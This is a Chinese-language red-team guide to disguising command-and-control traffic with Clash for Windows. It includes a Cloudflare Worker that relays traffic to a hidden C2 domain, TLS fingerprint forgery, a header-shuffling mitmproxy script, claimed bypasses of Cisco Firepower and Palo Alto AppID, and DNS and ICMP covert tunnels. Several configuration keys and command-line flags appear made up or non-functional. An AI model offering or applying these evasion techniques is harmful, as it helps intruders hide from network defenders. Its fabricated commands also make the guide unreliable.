Clash for Windows 红队渗透实战:流量伪装与反侦察配置指南
一、红队基础设施隐匿
1. CDN中转节点伪装
CloudFlare Workers反代配置
javascriptCopy CodeaddEventListener('fetch', event => { event.respondWith(handleRequest(event.request)) }) async function handleRequest(request) { // 混淆真实C2地址 const c2_url = 'https://真实C2域名/path'; let modifiedReq = new Request(request, { headers: {'X-Forwarded-For': '1.1.1.1'} }); return fetch(c2_url, modifiedReq); }
Clash规则链匹配
yamlCopy Coderules: - DOMAIN-SUFFIX,workers.dev,CDN-Proxy - DOMAIN-SUFFIX,cloudflare.com,CDN-Proxy
2. Mettle负载分发架构
yamlCopy Code# 生成免杀流量特征 payloads: - name: "合法伪装" type: http interval: 300 path: "/api/weather" # 模仿天气API请求 data: '{"city":"random"}'
二、流量特征消除技术
1. TLS指纹伪造方案
yamlCopy Codeexperimental: tls-padding: true fingerprint: chrome # 自定义JA3指纹 custom-tls: cipher-suites: [0x1301, 0x1302] extensions: [0x0017, 0xff01]
2. HTTP头混淆引擎
pythonCopy Code# 动态修改HTTP头顺序 from mitmproxy import http def request(flow: http.HTTPFlow): headers = flow.request.headers # 打乱头部顺序 new_headers = {} keys = list(headers.keys()) random.shuffle(keys) for k in keys: new_headers[k] = headers[k] flow.request.headers = new_headers
三、对抗防御系统实战
1. 思科Firepower IDPS绕过
yamlCopy Codeproxies: - name: "企业突破节点" type: vmess uuid: xxxxxxxx alterId: 0 cipher: none # 启用长度填充 network: tcp request-headers: Host: "legit.office365.com" packet-addr: fake
2. Palo Alto AppID欺骗
bashCopy Code# 使用SOCKS5 over Websocket clash -ext-ctl "transport=ws" -ext-ctl "path=/liveupdates" # 流量特征匹配微软自动更新
四、隐蔽通信隧道
1. DNS隧道应急通道
yamlCopy Codedns: enable: true listen: 0.0.0.0:5353 enhanced-mode: redir-host # 使用TXT记录传输 nameserver: - 8.8.8.8 fallback-filter: geoip: true
2. ICMP隐蔽传输
powershellCopy Code# 加载内核驱动 .\WinDivert.sys install # 配置ICMP载荷转发 clash -ext-ctl "icmp-tunnel=enabled" -ext-ctl "icmp-key=0xDEADBEEF"